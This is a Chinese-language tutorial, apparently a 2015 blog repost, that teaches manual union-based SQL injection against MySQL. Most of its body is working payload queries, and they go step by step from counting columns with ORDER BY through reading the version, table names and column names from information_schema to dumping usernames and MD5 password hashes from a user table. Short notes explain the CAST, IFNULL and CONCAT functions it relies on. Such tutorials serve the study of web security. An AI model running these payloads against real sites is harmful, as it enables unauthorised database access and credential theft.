MYSQL手工注入入门示例
来源:互联网 发布:威廉姆斯学院 知乎 编辑:程序博客网 时间:2024/05/17 02:47
MYSQL手工注入案例
By:Topper 2015-08
联合注入需要注意的是两个语句所查询的字段数量上需要保持一致,否则语句无效;后面的查询语句可以通过控制使用NULL来填充查询字段的位数;
union 对两个结果集进行并集操作,重复数据只显示一次
union All 对两个结果集进行并集操作,重复数据全部显示
limit 2,1 表示查询结果从第3行开始读取只读取1行(记录集默认从0开始)
Mysql注入-探测数据库表中列的个数
通过order by num来判断列的位数;通过不断递增num值直到出现报错为止;此时num-1即字段个数。
Mysql注入-探测哪个字段值可被注入用以显示
select * from safecheck.`user` where username='-123'union all select1,2,3,4,5,6 LIMIT 0,1 --+'
Mysql注入-查询数据库版本
示例1:
select * from safecheck.`user` where username='-123'union all select 1,database(),3,4,5,6LIMIT 0,1 --%20'
示例2:
select * from safecheck.`user` where username='-123'UNION ALL SELECT(SELECT @@VERSION LIMIT 1,1),NULL,NULL,NULL,NULL,NULL--%20'
Mysql注入-查询数据库表名
select * from safecheck.`user` where username='-123'UNION ALL SELECT(SELECT table_name FROM information_schema.tables where table_schema=0x73616665636865636bLIMIT 1,1),NULL,NULL,NULL,NULL,NULL--%20'
Mysql注入-查询数据库列名
select * from safecheck.`user` where username='-1724'UNION ALL SELECT(SELECT CONCAT(IFNULL(CAST(column_name ASCHAR),0x20),0x20,IFNULL(CAST(column_type AS CHAR),0x20)) FROMINFORMATION_SCHEMA.COLUMNS WHERE table_name=0x75736572 AND table_schema=0x73616665636865636bLIMIT 0,1),NULL,NULL,NULL,NULL,NULL--%20'
备注:
CAST(table_name ASCHAR)
此CAST函数表示将表达式由一种数据类型转换为另一种数据类型,这里指将table_name字段转换为char类型。
IFNULL(expr1,expr2)
此函数表示如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2
CONCAT(str1,str2,…)
此函数表示返回结果为连接参数产生的字符串。如有任何一个参数为NULL,则返回值为 NULL。
Mysql注入-查询数据库列值
select * from safecheck.`user` where username='-123'UNION ALL SELECT(SELECT CONCAT(username,'|',pwd_md5) from user LIMIT0,1),NULL,NULL,NULL,NULL,NULL--%20'
- MYSQL手工注入入门示例
- MYSQL手工注入语句
- mysql -- 手工注入
- mysql -- 手工注入
- PHP+MySQL手工注入
- ACCESS+MYSQL手工注入
- MYSQL手工注入
- mysql手工注入
- PHP+MySQL 手工注入语句
- MYSQL手工注入_复习
- mysql 手工注入 字符类型
- MySQL 手工注入常用语句
- PHP+MySQL手工注入语句大全
- SQL手工注入基础详解---- MySQL篇
- MySQL手工注入步骤+直接写入一句话
- 记一次MySQL手工注入案例
- MySQL 手工注入语句总结
- MYSQL手工注入某日本网站
- 2015年暑期ACM集训总结
- 求最大公倍数
- 使用YUM安装ZABBIX监控
- /proc
- JavaScript学习笔记之数据类型和("32"+32)和("32"-32)输出结果
- MYSQL手工注入入门示例
- 基于Windows Azure 安装SharePoint 2013
- JAVA web 项目中的web.xml
- android中include的用法
- MAC 平台使用qt 静态链接boost 库问题
- Android实战简易教程-第三十九枪(第三方短信验证平台Mob和验证码自动填入功能结合实例)
- ios8适配遇到的问题及解决方法
- 安卓日志输出-logger
- Path Sum II